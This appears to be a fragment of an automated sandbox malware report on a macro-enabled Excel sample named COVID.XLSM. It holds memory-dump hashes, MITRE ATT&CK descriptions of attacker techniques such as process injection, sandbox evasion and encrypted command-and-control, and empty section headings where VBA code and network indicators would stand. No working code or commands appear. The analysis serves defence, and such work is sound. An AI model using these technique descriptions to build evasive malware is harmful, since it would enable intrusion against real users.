Instruction Fuzzy Hash: D70104A684E7D14FD3034B38AC642D47FB0AF63211B4A46E7C0C4CB4A3E51D1A5AD762

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF002507B0, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2111607417.000007FF00250000.00000040.00000001.sdmp, Offset: 000007FF00250000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408cb55a86390e23af1f7531945ba9a377d3a2d54c97de370c1c6cf4673a45f6
Instruction ID: 4e698b0c40269a1328341eaa2d08413a28b2753c226a593c3ea44d39c3f23f78
Opcode Fuzzy Hash: 408cb55a86390e23af1f7531945ba9a377d3a2d54c97de370c1c6cf4673a45f6
Instruction Fuzzy Hash: 6C1174A644E7C05FC7035738A8696A43FB09F57210B4F40EBD488CF0A3EA4C098AC722

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report COVID.XLSM

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "/opt/package/joesandbox/database/analysis/471900/sample/COVID.XLSM"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: Alt Svc Array.cls, Stream Size: 177

General

VBA Code Keywords

VBA Code

VBA File Name: Archived Alt Svcs.cls, Stream Size: 179

General

VBA Code Keywords

VBA Code

VBA File Name: Service Array.cls, Stream Size: 178

General

VBA Code Keywords

VBA Code

VBA File Name: Sheet3.cls, Stream Size: 171

General